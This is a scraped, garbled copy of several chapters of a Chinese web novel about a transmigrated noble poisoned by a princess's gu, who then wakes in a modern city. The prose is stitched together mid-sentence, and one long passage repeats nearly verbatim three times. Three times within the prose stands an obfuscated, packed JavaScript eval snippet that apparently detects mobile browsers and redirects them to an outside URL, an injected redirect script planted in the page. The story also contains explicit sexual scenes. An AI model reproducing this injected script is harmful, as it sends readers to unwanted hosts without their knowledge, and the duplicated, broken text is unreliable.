刹那满院阳光倾泻而下美人正倚在那六角亭中肤如凝脂眉若远山眼尾那颗朱砂痣在光芒中泛着妖冶的红素蓝裙裾垂落如银河腰间玉佩流苏随冷风轻晃恍若仙女下凡。 “灵儿!” 林臻走过去就见案几上摊开的《九歌》被风掀起几页墨香混着她身上的沉水香扑面而来。 楚惜灵回眸看到是林臻顿时露出一抹欣然的笑容:“怎么?才一天就忍不住想我?” 好嘛。 我就说女人破身和不破身是有很大不同的! 林臻没接她的话茬根据以往的经验这个时候如果接茬说着说着女人就会生气了。 到时候不好哄。 “边境又传来消息楚国投降 楚惜灵本来灵动的目光暗淡下去别过头不去看林臻:“和谈就和谈你跟我说什么?我说着又不算。” “陛下说让我带你一起去。” “拿我 当人质跟楚国要更多的利益呵你们陛下还真是好算计。” 楚惜灵说得没错这种事情发生在任何皇室公主身上都会不开心。 但显然林臻今天不是来说这件事情的。 “这是陛下旨意我们都不能拒绝不过我今天来是想问你另外一个问题。” “正经事儿?” “对非常正经。” “那便坐吧。” 楚惜灵招呼林臻坐下广袖拂过石桌茶盏与棋子叮当相撞。 只见她拿起茶盏给林臻倒了一杯。 林臻拿起来闻了闻虽然是凉的但茶汤清晰并不浑浊闻起来还有股淡淡的奇香。 “这是你做的凉茶?” “算你有见识。”楚惜灵淡笑着给自己也倒了一杯略微有些得意“我泡的凉茶就是我父皇都赞不绝口。” 林臻不打算在茶艺上与她继续探讨直接问出他最好奇的事情。 “你对煊赫门的事情知道多少?” “煊赫门”楚惜灵拿着茶杯的手在半空微微一顿“你怎么想起问这个。” “煊赫门盯上我了而且还盯上了我身边的人所以我必须要想办法除掉它。” “这恐怕很难 “呵。”林臻冷笑着说“有什么不可能的?我把所有国家都灭了把煊赫门的弟子挨个砍死我看能不能连根拔掉。” 楚惜灵震惊林臻的豪气云天但她不认为林臻能做到。 能把乾国从崩溃边缘拉回来确实是林臻的能力但要征服世界谈何容易? 楚惜灵伸出葱白的手指给林臻剥出一颗松子放在他面前的瓷盘里说道:“你们乾国有多少煊赫门的官员我不知道但我知道我们楚国几乎一半以上官员都是煊赫门的人或者说和煊赫门有莫大渊源的人。” “说详细点。” “煊赫门成立已有两百多年的时间而且现在依旧存在。很多曾经煊赫门出来的高级官员会把自己家族里的子弟送进煊赫门进修出来后再参加科考然后一代一代的轮回每一届学生里最优秀的就会成为煊赫门宗主这一代煊赫门宗主是韩天星也就是你们大乾顾云霆的岳丈顾北辰的外公。” 林臻点点头:“这些我已经知道了说点我不知道的。” “你不知 道的煊赫门里有内卫,每个官员家里也有家将,这是朝廷对煊赫门官员的特批,所以如果你惹到煊赫门,就相当于和半个国家开战。 林臻沉吟道:“那按理说像这样培养官员的学府,怎么会不择手段的报复别人呢? “政治斗争向来都是残酷的,谁也说不准他们到底能做出什么事情。不过,除煊赫门外还有个门派,叫哈德门。 林臻:. 这又是啥子门派啊名字一个比一个熟悉。 按照这个节奏下去,是不是该出现大前门了? “哈德门又是什么? “哈德门起源西秦,以前也是个书院,但在后来的斗争中煊赫门更胜一筹,久而久之,哈德门就名存实亡了,但是那些被煊赫门迫害的哈德门弟子这么多年一直没有放弃斗争,只要逮住机会就会对煊赫门下死手。 说到这,楚惜灵露出一抹冷笑。 “呵,什么名门正派,什么书香门第,到头来不过都是些为达目的不择手段的宵小之徒罢了。 林臻想起那个令人疑惑的令牌。 一个专业的刺客是不可能把表明身份的令牌带在身上的,难道说那个人就是哈德门的人? 还是说哈德门的人是在刺客死后将令牌放在他身上的? 如果是后者,那就太可怕了。 那说明哈德门的人已经 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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楚惜灵抱着双肩,满脸冷笑:“呵,怎么样,有没有昨天干我的时候爽?” 林臻把后槽牙咬的嘎吱吱脆响,眼睛里全都是血丝。 他强行控制住不让自己满地打滚,与居高临下的楚惜灵对视。 “为什么.这到底是什么东西!” “这是噬心蛊,只要我一生气,你会就痛不欲生。” 嘎吱吱. 大意了。 妈的,本以为这娘们是想用身体换楚国的利益,谁知道竟然是要给自己下蛊! 不对啊,原书中楚惜灵就是南楚人,不是苗人啊! 而且顾北辰也没中蛊啊! 难道说楚惜灵是心甘情愿地给顾北辰,所以从来没有让蛊毒发作过? 第339章 你这说跟没说一样啊! 林臻疼的满头大汗,浑身上下控制不住的颤抖,再也无法集中注意力。 而楚惜灵就这么看着林臻,丝毫没有要疼下的意思。 “我问你,你到底想要楚国什么!” “.” “呵。”楚惜灵看林臻那一脸倔强的样子,冷笑道:“不说是吧?那我就让你爽到极点!” “额” 林臻像个戒毒所的罪犯,最后终于控制不住再次开始原地打滚。 “啊!!” 可不论多么痛苦,他就是不说! “你休想在,我.这得到任何好处.” “林臻!说出来,只要你说出来,痛苦就没有了!” “啊!!!!” 巨大的惨叫引来了很多护卫,他们见林臻躺在地上打滚,吓得面无血色,立刻冲进来! “世子!!” “世子,你怎么了!?” “啊!!!!!” 饶是臂力惊人的护卫,也无法控制住此刻疼痛难忍的林臻。 最后林臻伸出手,指向楚惜灵。 护卫们立刻怒目圆睁,更有甚者已经抽出长刀。 “楚惜灵!是不是你动的手脚!” “敢对世子不利,找死!!” 楚惜灵丝毫不惧。 “林臻!我若死了,你也活不了!” 护卫们闻言立刻慌了。 这怎么办啊? 杀也杀不得,救也救不得。 难道就这么看着世子在地上打滚? 这时终于有反应过来的护卫喊道:“快去找太医,顺便禀报陛下!!” “是!!” 护卫立刻跑出去,而此刻,林臻再也坚持不住,眼睛一黑,昏死过去。 护卫见状,立刻再喊人进来,将楚惜灵抓获,押往后殿。 薄暮的余晖如破碎的金纱,透过雕花窗棂,洒在慕容嫣寝宫那奢华至极的龙榻之上。 榻上,林臻面色惨白如纸,细密的汗珠从他额头不断渗出,身子时而剧烈颤抖,似是陷入了无尽痛苦的梦魇深渊。 原本意气风发的他,如今却被这莫名的蛊毒折磨得不成人形,昏迷不醒,生死悬于一线。 寝宫内,一众太医战战兢兢地围在龙榻旁,个个额头布满汗珠,手指搭在林臻腕间,半日不敢挪开。 许久,为首的老太医才颤巍巍地收回手,声音带着几分惶恐与疑惑:“陛下,微臣无能,世子脉象沉稳有力,除了肾水有些绵柔外,毫无紊乱之 象,可这昏迷不醒、周身剧痛.微臣实在是参不透缘由啊。” 其他太医纷纷点头附和。 因为大家都是这个诊断结果。 慕容嫣凤目含煞,死死盯着林臻毫无血色的面庞,满心的焦灼与心疼。 她莲步轻移,亲自端起药碗,玉手拿起银匙,舀起一勺乌黑浓稠的药汁,轻轻吹散热气,送至林臻唇边,声音颤抖地说道:“夫君.这是止疼药,喝点吧.” 林臻根本听不见,也不张嘴。 慕容嫣只好把勺子里的汤药倒在他嘴唇上,希望林臻可以慢慢喝下去。 但是,都撒了。 司马椿蕾和顾镇分立两旁,亦是满脸忧色。 尤其是司马椿蕾,玉手攥着丝帕,指尖因用力而泛白,眼眶微红,时不时抬眸望向林臻,眼中尽是深情玉担忧;而顾镇则眉头紧锁,不时差人去取冷水、换毛巾,忙碌间尽显焦心。 “楚惜灵!!!你竟敢谋害我朝世子!朕非杀了你不可!”慕容嫣娇声怒吼。 宫殿一隅,金丝楠木柱上,楚惜灵被拇指粗的铁链死死锁住。 她一袭蓝裙凌乱不堪,发丝披散,遮住了大半面容,可那嘴角上扬的弧度却透着几分倔强与嘲讽:“呵,杀了我,你的爱人也别想活。” 慕容嫣踱步至她身前,凤目燃着怒火:“说,这毒到底如何才能解?只要你说出来,朕放你自由!” 楚惜灵抬眸,直视慕容嫣,眼中毫无惧意,甚至还有些憎恨:“无解。” 简单二字,如重锤砸在众人心上。 慕容嫣怒极反笑:“呵呵呵呵。” 这时司马椿蕾站出来说道:“楚惜灵,你别以为我们拿你没办法,如果你想同归于尽,本宫可以把你送到男子监狱去!让你也体验体验生不如死的滋味!” “来啊,你以为我怕你?还是说,你认为林臻会同意?” “你什么意思?”慕容嫣立刻追问。 楚惜灵露出一抹自信的笑。 “呵呵呵,你以为这噬心蛊是怎么下的?还不是你们的好夫君贪恋我的美色?大白天里就把我按倒在雪地上.慕容皇帝,你知道雪花冰屁股是什么感觉吗?” 慕容嫣一口银牙咬着咯吱作响。 “你到底想怎么样?” “我要你们放弃对楚国领土的宣称,放弃这场战争得来的一切!” “不可能!这场战争是我大乾勇士用命拼下来的,绝不会因为林臻而放弃!”慕容嫣几乎是失态的大吼。 却见 楚惜灵的声音也不比她小! “那你就让他等死!!” 慕容嫣从武器架上抽出天子剑,指向楚惜灵。 “说,到底如何解毒!” 楚惜灵仰起头,任由剑尖抵住脖颈,划出一道血痕:“你杀了我吧,让我带着你的夫君去地狱,我替你和他长相厮守,哈哈哈哈!” 疯子! 疯子! 慕容嫣的天子剑“哐当”落地。 “你你竟如此歹毒。” 此时殿门被慕容无舌猛地推开,神医孙之推匆匆而入。 他见了慕容嫣,立刻撩袍下跪,行三跪九叩大礼:“草民叩见陛下。” 慕容嫣急道:“孙神仙免礼,快给林臻看看。” “遵旨!” 孙之推起身,快步走到龙榻边。 当看到林臻那面无血色的脸庞时,也有阵阵心疼。 多好的世子啊,竟然被折磨成这个样子。 他立刻手指搭上林臻脉搏,片刻后,眉头紧锁,摇了摇头:“陛下,世子脉象平稳,无异样。” “可是他现在正在遭罪啊!” 孙之推看向被五花大绑的楚惜灵,估摸着她应该就是罪魁祸首,于是问道:“这毒叫什么名字?” 楚惜灵看老头不一般,也担心他会有什么办法,于是说道:“我为什么要告诉你?” 谁知慕容无舌插嘴道:“是噬心蛊。” “噬心蛊!?”孙之推神色大变,“这么歹毒的蛊毒你是怎么得来的?” 楚惜灵别过头,望向窗外渐暗的天色,缓缓说道:“幼年时,我父皇为了让我和亲后控制敌国皇帝,所以特请苗疆女巫为我训练的蛊虫,但是没想到,皇子没能控制,却控制住了大乾的主心骨。呵呵呵,真是天意啊!” 慕容嫣没工夫理会这个恶毒的女人,问道:“孙神仙,有解毒的办法吗?” 孙之推脸色阴沉,犹豫半天才敢说道:“回陛下,确实有解。” “那就快说啊!”慕容嫣眼睛一亮。 司马椿蕾和顾镇都是急迫地走上前,生怕漏听一个字。 可是孙之推却叹了口气:“唉。这噬心蛊是苗疆最恶毒的蛊,乃是千年前巫婆祖师为了控制住心爱的男人而研制的。但巫婆祖师在训练这种蛊虫的时候曾发过誓,如果中了这种蛊的男人能靠意志力挺过去,那她将不再喜欢任何男人。也就是说,这毒如果想解,就必须靠世子自己!” 司马椿蕾张大了嘴:“啊!?你这说跟没说一样啊! ” “住口!”慕容嫣呵斥道。 孙之推愁得一张老脸上全是褶皱。 “陛下,这种方法草民也只是听师父说过而已,并没有完全的把握,而且这个戒毒的过程极其漫长,少则三五天,多则一个月,甚至永远也戒不掉,永远会处于痛苦之中。草民担心,一旦解毒时间过长,而世子又没办法进食,久而久之,身体就会被蛊虫全部吃掉.” 慕容嫣无力地坐在床边,握住林臻的手,仿若握住了世间唯一的珍宝,喃喃低语:“夫君,你千万不能有事.朕定不会让你有事” 孙之推站在一边说道:“陛下,但这噬心蛊也不是完全有坏处,一旦世子能挺过去,那他将脱胎换骨,焕发新生,说不定还可以长生不老!” “长生不老!?”慕容嫣满脸的难以置信。 多少代皇帝希望自己可以长生,但谁又成功了呢? 没有人成功。 不管你生前多么的风华绝代,多么的威风凛凛,可终究逃不过死亡的命运。 然而现在这位神医居然说可以长生不老.这.这如何让人相信? 慕容嫣心疼地摸了摸林臻的鬓发,感受着他因痛苦与难过不断颤抖的身体。 “孙神仙,我们能帮帮林臻吗?” “草民尽量配置出续命的药,希望可以为世子争取一点时间。” “嗯,有劳了。” 孙之推退了出去。 司马椿蕾和顾镇对视一眼,皆从对方眼中看到了无奈与酸涩,默默上前,一左一右站在慕容嫣身后,无声陪伴。 夜色如墨,深沉浓稠的似化不开的哀愁,笼罩着整个寝宫。 烛火摇曳,光影在墙壁上张牙舞爪,仿若众人此刻飘摇不定的心绪。 慕容嫣依旧守在榻前,身子挺得笔直,目光从未从林臻脸上移开分毫,眼中的血丝愈发明显,却毫无倦意。 麝月轻手轻脚地端来一碗热粥,柔声道:“陛下,吃点东西吧,保重龙体。” 司马椿蕾也附和道:“是啊陛下,早晨您还要上朝呢。” 慕容嫣摆了摆手,声音沙哑:“朕吃不下,放着吧。” 见她执着,司马椿蕾叹了口气,拿了件披风,轻轻披在慕容嫣肩头:“夜里凉,陛下莫要着了风寒。” 慕容嫣微微点头,算是回应。 三人就这般静静守着,空气中弥漫着令人窒息的压抑与担忧。 子时的更鼓声幽幽传来,在寂静夜里格外清晰。 林臻手指突然微微一动,慕容嫣瞬间警觉,俯身凑近:“夫君,你醒醒,嫣儿在这儿!”那声音带着一丝颤抖,满是期待。 然而林臻只是微微动了动,却又没了回应。 ” “住口!”慕容嫣呵斥道。 孙之推愁得一张老脸上全是褶皱。 “陛下,这种方法草民也只是听师父说过而已,并没有完全的把握,而且这个戒毒的过程极其漫长,少则三五天,多则一个月,甚至永远也戒不掉,永远会处于痛苦之中。草民担心,一旦解毒时间过长,而世子又没办法进食,久而久之,身体就会被蛊虫全部吃掉.” 慕容嫣无力地坐在床边,握住林臻的手,仿若握住了世间唯一的珍宝,喃喃低语:“夫君,你千万不能有事.朕定不会让你有事” 孙之推站在一边说道:“陛下,但这噬心蛊也不是完全有坏处,一旦世子能挺过去,那他将脱胎换骨,焕发新生,说不定还可以长生不老!” “长生不老!?”慕容嫣满脸的难以置信。 多少代皇帝希望自己可以长生,但谁又成功了呢? 没有人成功。 不管你生前多么的风华绝代,多么的威风凛凛,可终究逃不过死亡的命运。 然而现在这位神医居然说可以长生不老.这.这如何让人相信? 慕容嫣心疼地摸了摸林臻的鬓发,感受着他因痛苦与难过不断颤抖的身体。 “孙神仙,我们能帮帮林臻吗?” “草民尽量配置出续命的药,希望可以为世子争取一点时间。” “嗯,有劳了。” 孙之推退了出去。 司马椿蕾和顾镇对视一眼,皆从对方眼中看到了无奈与酸涩,默默上前,一左一右站在慕容嫣身后,无声陪伴。 夜色如墨,深沉浓稠的似化不开的哀愁,笼罩着整个寝宫。 烛火摇曳,光影在墙壁上张牙舞爪,仿若众人此刻飘摇不定的心绪。 慕容嫣依旧守在榻前,身子挺得笔直,目光从未从林臻脸上移开分毫,眼中的血丝愈发明显,却毫无倦意。 麝月轻手轻脚地端来一碗热粥,柔声道:“陛下,吃点东西吧,保重龙体。” 司马椿蕾也附和道:“是啊陛下,早晨您还要上朝呢。” 慕容嫣摆了摆手,声音沙哑:“朕吃不下,放着吧。” 见她执着,司马椿蕾叹了口气,拿了件披风,轻轻披在慕容嫣肩头:“夜里凉,陛下莫要着了风寒。” 慕容嫣微微点头,算是回应。 三人就这般静静守着,空气中弥漫着令人窒息的压抑与担忧。 子时的更鼓声幽幽传来,在寂静夜里格外清晰。 林臻手指突然微微一动,慕容嫣瞬间警觉,俯身凑近:“夫君,你醒醒,嫣儿在这儿!”那声音带着一丝颤抖,满是期待。 然而林臻只是微微动了动,却又没了回应。 ” “住口!”慕容嫣呵斥道。 孙之推愁得一张老脸上全是褶皱。 “陛下,这种方法草民也只是听师父说过而已,并没有完全的把握,而且这个戒毒的过程极其漫长,少则三五天,多则一个月,甚至永远也戒不掉,永远会处于痛苦之中。草民担心,一旦解毒时间过长,而世子又没办法进食,久而久之,身体就会被蛊虫全部吃掉.” 慕容嫣无力地坐在床边,握住林臻的手,仿若握住了世间唯一的珍宝,喃喃低语:“夫君,你千万不能有事.朕定不会让你有事” 孙之推站在一边说道:“陛下,但这噬心蛊也不是完全有坏处,一旦世子能挺过去,那他将脱胎换骨,焕发新生,说不定还可以长生不老!” “长生不老!?”慕容嫣满脸的难以置信。 多少代皇帝希望自己可以长生,但谁又成功了呢? 没有人成功。 不管你生前多么的风华绝代,多么的威风凛凛,可终究逃不过死亡的命运。 然而现在这位神医居然说可以长生不老.这.这如何让人相信? 慕容嫣心疼地摸了摸林臻的鬓发,感受着他因痛苦与难过不断颤抖的身体。 “孙神仙,我们能帮帮林臻吗?” “草民尽量配置出续命的药,希望可以为世子争取一点时间。” “嗯,有劳了。” 孙之推退了出去。 司马椿蕾和顾镇对视一眼,皆从对方眼中看到了无奈与酸涩,默默上前,一左一右站在慕容嫣身后,无声陪伴。 夜色如墨,深沉浓稠的似化不开的哀愁,笼罩着整个寝宫。 烛火摇曳,光影在墙壁上张牙舞爪,仿若众人此刻飘摇不定的心绪。 慕容嫣依旧守在榻前,身子挺得笔直,目光从未从林臻脸上移开分毫,眼中的血丝愈发明显,却毫无倦意。 麝月轻手轻脚地端来一碗热粥,柔声道:“陛下,吃点东西吧,保重龙体。” 司马椿蕾也附和道:“是啊陛下,早晨您还要上朝呢。” 慕容嫣摆了摆手,声音沙哑:“朕吃不下,放着吧。” 见她执着,司马椿蕾叹了口气,拿了件披风,轻轻披在慕容嫣肩头:“夜里凉,陛下莫要着了风寒。” 慕容嫣微微点头,算是回应。 三人就这般静静守着,空气中弥漫着令人窒息的压抑与担忧。 子时的更鼓声幽幽传来,在寂静夜里格外清晰。 林臻手指突然微微一动,慕容嫣瞬间警觉,俯身凑近:“夫君,你醒醒,嫣儿在这儿!”那声音带着一丝颤抖,满是期待。 然而林臻只是微微动了动,却又没了回应。 ” “住口!”慕容嫣呵斥道。 孙之推愁得一张老脸上全是褶皱。 “陛下,这种方法草民也只是听师 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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嗡嗡嗡—— 不知道哪个刚拆迁的傻逼在楼下飙车,刺耳的轰鸣声传进一栋高级写字楼内。 林臻盖着毛毯卧在沙发里,酒醉的眼眸缓缓睁开,映入眼帘的是一盏水晶奢华吊灯。 “这是.” “啊” 大乾。 摄政王之孙。 战场拼杀,妻妾成群。 夺走顾北辰全部气运. 过往的记忆犹如电影版在脑海中回放,林臻痛苦的捂住脑袋。 很快,痛感消失,林臻惊出一身冷汗。 他迷茫的看了看自己的手。 掌纹有些模糊,但视野很清晰,周遭的一切都是自己在现代比较熟悉的样子。 难道说.我又穿越回来了? 不是吧老天爷,你玩我呢?老子马上就要带领大乾走上第一个工业革命了,你居然让我传回来? 不对,这是哪啊? 林臻看了看四周,发现自己正身处一栋非常高档的写字楼里。 巨大的落地窗足有四米,外面高楼大厦、灯红酒绿。 名贵家具、名人字画,数不胜数,价值不菲。 “不对,我应该是在做梦吧?” 林臻猛然抽了自己一巴掌。 啪—— “嘶” 林臻倒吸一口凉气。 脸上不仅有极大的痛感传来,就连耳朵都嗡嗡作响。 什么情况啊?我没做梦?难道是又穿越到另外一个时空了? 他有些懵,看到靠近窗户的巨大长方形欧式餐桌上有杯水,他走了过去。 水居然还是温热的。 他喝了一口,温度正正好好,也没什么异样,于是咕嘟咕嘟就都喝了下去。 水划过食道,这才觉得醉酒后烧膛的感觉好了很多,于是他又开始打量着整座房间来。 这是在写字楼里的居住房间,开间很大,举架很高,各处装饰得都十分奢华。 林臻走到落地窗面前,看着外面繁华的街道与建筑,却分不清这是哪座城市。 按道理说,像这么高的写字楼,这么繁华的城市应该都有地标建筑才对。 但这里什么都没有。 就算有很奇特的建筑也是闻所未闻,见所未见。 不,不能这么说,应该看起来有几分熟悉,但记忆又很模糊。 这里区域很大,光是客厅的开间就有二百多个平方,来到卧房前,林臻推开门。 竟然发现床上躺着一名女子 ! 那女子盖着薄薄的蚕丝被,此刻睡得香甜。 林臻走过去坐在床边,想弄醒她问问这一切是怎么回事。 谁知就在他目光打过去的一瞬间,突然瞪大双眼! 是浣碧! 浣碧披散着头发,胸前有一颗璀璨的钻石项链,那吊坠的尽头代表着她身份的小巧黑痣也赫然在列。 没错,这就是我的女人。 林臻连忙摇醒她:“碧儿,碧儿!醒醒!” “嘤咛~”浣碧嘤咛一声,慵懒地道:“老公,再让我睡会儿嘛~” 老公? 这他妈什么称呼啊?不应该是夫君嘛?在大乾,老公是称呼太监的。 “碧儿,别睡了,快醒醒!” “哎呀,干嘛了啦,大半夜的也不让人家睡个踏实觉。” “碧儿,我们这是在哪啊?” 浣碧胸前春光乍泄,也不去管,揉了揉眼睛看向林臻,突然关切地捂住他的额头。 “老公,你怎么啦?这是我家啊。” “你家?”林臻越想越觉得不对劲,“那我家在哪?” “嘻嘻,你不是说要来我家陪我好好玩几天的嘛,怎么忘记啦?”浣碧露出那标志性的笑颜,反手搂住林臻的脖颈。 林臻顿时觉得香气扑鼻。 不是那种体香和发香,而是一股子浓郁的香水味。 好像是纪梵希心无禁忌304。 不对,林臻越想越不对。 难道说我穿越了,连带着妻妾们也穿越了吗? “碧儿,这是哪里?你一五一十地告诉我,我想不起来了。” “好啦好啦~我不就是没等你就睡觉了嘛,不许生气,人家好好的补偿你~”浣碧直接将林臻推倒,骑在他肚子上,俯下身从额头开始,用那小巧的舌头一路向下舔舐,留下一串晶莹剔透的吻痕。 但显然林臻此刻没有那个心思,抱住她翻了个身。 “我没生气,你快告诉我这是哪里,快说!” “讨厌,这点情趣非得用在我身上,你怎么不在婉儿姐姐身上用呢!” 林臻再次一愣:“婉儿?你说的是上官婉儿?” “对呀。” “她也穿越过来了?” “什么穿越啊,老公,你今天到底怎么了?”浣碧又要伸手搂林臻,结果被再次拒绝。 林臻起身,站在床边来回踱步。 忽然问道:“碧儿,告诉我,这是哪。” “京城啊。” “京城?首都吗?” “对啊就是大乾都城啊。” “那这.”林臻指了指外面的霓虹。 这他妈是大乾? 不可能绝对不可能。 这要是大乾我把电视吃了。 “那你告诉我我是谁?” “我最爱的老公当然是大乾第一公子林臻呀。” 名字和身份都对得上。 可是这明显不是大乾啊难道说我睡了一觉大乾就发展成这个样子了吗?那我的作用是什么? 林臻坐回床边拉起浣碧的手说道:“碧儿 “啊?你连她们也不记得了吗?我给你数数哦~有大总统慕容嫣姐姐还有第一夫人上官婉儿姐姐国务卿司马椿蕾姐姐钢琴家顾镇姐姐唔还有黑社会老大青霞姐姐还有喜欢蹦迪的晴雯大乾商会主席张俪姐姐兵马大元帅刘妙颜姐姐美食家月妩姐姐哦对还有占卜师楚惜灵姐姐!” “楚惜灵?” 这个名字一提起林臻的脑袋又嗡的一声。 他想起来了。 自己中了楚惜灵下的噬心蛊。 难道说眼前这一切都是噬心蛊的幻觉? 可是幻觉怎么会感受到疼痛感受到心跳呢? 还是说自己被噬心蛊侵蚀而死再次穿越了? 那穿越怎么会带老婆来呢? 慕容嫣还是大总统! 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15133151|158057||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >林臻感觉整个人都不好了根本理不清思路。 见浣碧摇头晃脑的样子他追问道:“那你是做什么的?” “我呀?我当然是你的全职女仆喽!”言罢浣碧开心的蹦进林臻怀里用那可爱的前胸使劲地蹭。 林臻是一点那方面的感觉都没有甚至他已经开始有些害怕了。 他拍了拍浣碧挺翘的屁股说道:“碧儿穿衣服带我出去看看。” “哦?难道主人是希望自己一边开车然后我来给你”浣碧舔了舔猩红的舌头。 林臻没回答也起身去穿衣服。 结果刚刚走到门口他又回头问道:“不对啊你是我老婆那怎么你睡床上我睡沙发上呢?” 浣碧翻了个白眼赤条条地站起来掐腰道:“还好意思说!是你非要跟胖子视频喝酒的结果从下午一直喝到凌晨!让人家好等呢~” 视频跟胖子喝酒? 胖子也来了? 不行林臻琢磨着自己必须得出去看看看看这到底是什么样的世界 。 随意地将沙发上的半袖和短裤穿好。 这时,浣碧也穿着一套青春靓丽的运动装,踩着白色的运动鞋,两人情深意浓地出门而去。 林臻是想出去走走的,结果在电梯里浣碧直接摁了去地下停车场的按钮,两人来到私人停车场,就见场地里停满了各种各样的豪华跑车。 什么科尼塞克,布加迪,法拉利等等,只要是能排得上号的跑车品牌,这里都有最新款。 浣碧从承重柱上取下来一柄车钥匙,对林臻晃了晃。 “老公,我们今天开X80出去吧?” “X80”这名有点熟悉啊。 林臻木讷地点点头,就见浣碧走到一辆无比炫酷的法拉利跑车面前,打开剪刀门,坐进驾驶室。 林臻也跟着坐进副驾驶,车辆启动,轰鸣声在整个车库里回荡。 自动车库门缓缓打开,浣碧一脚油门,带着林臻扬长而去。 大街上黄种人、白种人、黑种人都有,都在忙活自己的事情,见X80驶来,大家都投来羡慕的目光。 “看啊!是X80!” “车牌号00009,没错,是林家的九号车!” “天呐,太帅了吧!” “那个女人好幸福啊,居然可以和第一公子坐在一起!” “我也要上车嘛!” 林臻听着他们的议论声觉得有些不对。 正常来讲,不管什么时代,百姓的生活都应该没这么清闲才对。 一辆炫酷的跑车开在路上确实回头率很高,但大家不会对此表现得很热情,很多人只是默默地看一眼,羡慕一下,就回过头去了。 身边的影像在不断倒退,浣碧车技很好,拐了几个弯就上了高架,随即车辆开始提速。 强烈的推背感和享受的发动机声音传来,林臻愈发感觉这里很真实。 唯一不真实的地方,就是此刻的浣碧满脸都是兴奋的神采,全然没有往日的矜持与安静。 难道说,浣碧骨子里就是个喜欢刺激的女人? 不对! 还是不对! 有问题啊! 可是问题在哪,林臻根本发现不了。 第341章 没有脸的女人 在高架桥上逗了一大圈,林臻终于发现了问题所在。 这个城市他不是没来过,而是非常熟悉。 这尼玛是犯罪之城——洛圣都。 别的不说,光是那座巨大的赌场就足以说明一切。 它的外观和明钻赌场一模一样,只不过上面巨大的屏幕写着的事中文——“英雄。 天呐,我肯定是在做梦。 以前有人说如果做梦的话就唱《国际歌》。 歌声中红色的曲调会让人心灵纯净,拜托梦魇。 于是回程的时候,林臻清了清嗓子。 “咳咳。 “起来~饥寒交迫嘀奴隶~起来~全世界受苦嘀人~ “满腔~嘀热血已经沸腾~要为~真理而斗争~~ 一口气把《国际歌》唱了六遍,唱得浣碧指尖轻轻敲击着大腿,也跟着哼哼。 见林臻终于停下来,她问道:“老公,这是什么歌呀? “. 不管用啊。 怎么办? 难道要像《盗梦空间》似的,只要死了就会醒? 可问题是现在不知道自己正处于第几层梦,万一自杀时所处的不是第一层梦境怎么办? 那不就进入迷失域了吗? 怎么办? 到底怎么办啊? 有没有个人能来教教我啊。 林臻内心在嚎叫,而浣碧则是飞快的开回写字楼。 顺利的停车,上电梯,回到房间。 林臻一直在思考怎么醒过来这个问题。 突然,他肚子又疼,想上厕所。 坏了,该不会尿床吧?据说做梦的时候找厕所是很恐怖的事情,一旦找到就会尿出来。 嘶.不对,这感觉不像要撒尿,而是拉屎! 拉床上? 靠,那我王府世子的脸不就丢尽了吗? 浣碧回到家立刻换了一身女仆装,屁股后面还有一条毛茸茸的尾巴,趁林臻坐在沙发上思考的时候,她悄无声息地从卧室里爬出来,一直来到林臻脚边。 低下头,喵了一声,亲吻了林臻的脚。 “喵~ 林臻低眉看去,心说浣碧什么时候这么会玩了? “老公~哦不,主人~猫娘来伺候您休息了哦~ 这口吻有点像晴雯。 林臻抓住她的手腕,把她带起来,然后让她坐在自己腿上。 林臻定睛地看着她那张精致无瑕的脸蛋。 没 错,就是浣碧。 很清晰,甚至连睫毛都一根一根,十分灵动。 不是说好做梦的时候是看不清别人脸的吗? 这怎么看得这么清楚啊? “主人~吸溜~”浣碧伸出猩红的舌头在林臻脸上舔了一口,就像只小猫那样顽皮,“主人~今晚猫娘都听主人的哦~喵~” 林臻这才发现,浣碧穿的哪是什么女仆装啊,分明就是打着女仆装幌子的情趣内衣。 因为他可以在这个角度,清楚看到那白色裹胸里的风景。 不管了,先睡一觉再说。 万一明天真醒了呢? 于是林臻就在沙发上,和浣碧来了次酣畅淋漓的体验。 沙发可以放倒,形成一张双人床,林臻与浣碧就在这里度过了洛圣都的第一个夜晚。 中午的时候,林臻被饿醒了。 睁开眼,看到的还是和昨天一样的场景。 没成功啊。 不过昨天与浣碧的体验却非常真实。 这愈发让林臻觉得这不是梦,因为就算遗精,也达不到那种感觉。 不会是真的穿越了吧? 他推了推浣碧慵懒的身子。 “碧儿。” “嘤咛~” “我饿了。” “吃我!”浣碧一咕噜爬起来,再次骑在林臻的肚子上。 人都说温饱思淫欲。 没吃饭的时候,谁有心思想这些。 林臻把她抱下来,拿起手机看了看。 这一看不要紧,险些把他吓死。 因为手机解锁后,第一个显示的居然出现昨天没有退出的应用。 七猫免费小说! 而页面上的书名,竟然是《女帝也是我的笼中雀》! 啊?难道我的穿越只是一场梦? 不可能啊,我应该是个普普通通的中央选调生才对啊。 再说。 如果是梦,那身边的人是谁? 林臻冷汗都下来了。 妈妈咪啊,该不会是鬼吧!!?? 林臻转过头,就见浣碧又依偎进自己怀里,说道:“老公~宝宝肚肚又打雷啦,你能给我点个外卖吃嘛?” “不是.碧儿,我们都这条件了”林臻指了指屋里的东西,“还吃外卖?” 